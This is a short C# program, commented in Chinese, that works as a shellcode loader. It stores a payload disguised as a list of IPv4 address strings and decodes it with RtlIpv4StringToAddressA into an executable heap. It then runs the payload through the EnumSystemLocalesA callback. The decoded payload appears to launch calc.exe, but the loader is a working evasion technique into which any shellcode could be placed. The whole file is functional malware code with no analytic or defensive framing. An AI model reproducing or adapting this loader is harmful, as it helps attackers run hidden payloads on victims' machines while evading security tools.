using System;
using System.Data;
using System.Runtime.InteropServices;
class Program
{
[DllImport("ntdll.dll", SetLastError = true)]
static extern int RtlIpv4StringToAddressA(string S, bool Strict, ref IntPtr Terminator, IntPtr Addr);
[DllImport("kernel32.dll", SetLastError = true)]
static extern IntPtr HeapCreate(uint flOptions, uint dwInitialSize, uint dwMaximumSize);
[DllImport("kernel32.dll", SetLastError = true)]
static extern IntPtr HeapAlloc(IntPtr hHeap, uint dwFlags, uint dwBytes);
[DllImport("kernel32.dll", SetLastError = true)]
static extern bool EnumSystemLocalesA(IntPtr lpLocaleEnumProc, uint dwFlags);
const uint HEAP_CREATE_ENABLE_EXECUTE = 0x00040000;
const int STATUS_INVALID_PARAMETER = unchecked((int)0xC000000D);
static void Main(string[] args)
{
string[] IPv4Code = new string[]
{
"252.232.130.0",
"0.0.96.137",
"229.49.192.100",
"139.80.48.139",
"82.12.139.82",
"20.139.114.40",
"15.183.74.38",
"49.255.172.60",
"97.124.2.44",
"32.193.207.13",
"1.199.226.242",
"82.87.139.82",
"16.139.74.60",
"139.76.17.120",
"227.72.1.209",
"81.139.89.32",
"1.211.139.73",
"24.227.58.73",
"139.52.139.1",
"214.49.255.172",
"193.207.13.1",
"199.56.224.117",
"246.3.125.248",
"59.125.36.117",
"228.88.139.88",
"36.1.211.102",
"139.12.75.139",
"88.28.1.211",
"139.4.139.1",
"208.137.68.36",
"36.91.91.97",
"89.90.81.255",
"224.95.95.90",
"139.18.235.141",
"93.106.1.141",
"133.178.0.0",
"0.80.104.49",
"139.111.135.255",
"213.187.240.181",
"162.86.104.166",
"149.189.157.255",
"213.60.6.124",
"10.128.251.224",
"117.5.187.71",
"19.114.111.106",
"0.83.255.213",
"99.97.108.99",
"46.101.120.101",
"0.144.144.144"
};
// 创建堆一个初始大小为0的堆,并标记为可执行
IntPtr hHeap = HeapCreate(HEAP_CREATE_ENABLE_EXECUTE, 0, 0);
// 为堆申请空间
IntPtr shellcodePtr = HeapAlloc(hHeap, 0, (uint)(IPv4Code.Length * 4));
// 转换IPv4地址字符串到内存
IntPtr currentPtr = shellcodePtr;
IntPtr terminatorPtr = IntPtr.Zero;
try
{
// 转换IPv4地址字符串到内存
foreach (string ipv4 in IPv4Code)
{
int result = RtlIpv4StringToAddressA(ipv4, false, ref terminatorPtr, currentPtr);
if (result == STATUS_INVALID_PARAMETER)
{
throw new Exception($"MAC地址转换失败: {ipv4}");
}
// 移动指针到下一个字符串的位置
currentPtr = IntPtr.Add(currentPtr, 4);
}
// 回调执行shellcode
EnumSystemLocalesA(shellcodePtr, 0);
}
catch (Exception e)
{
Console.WriteLine($"发生错误: {e.Message}");
}
}
}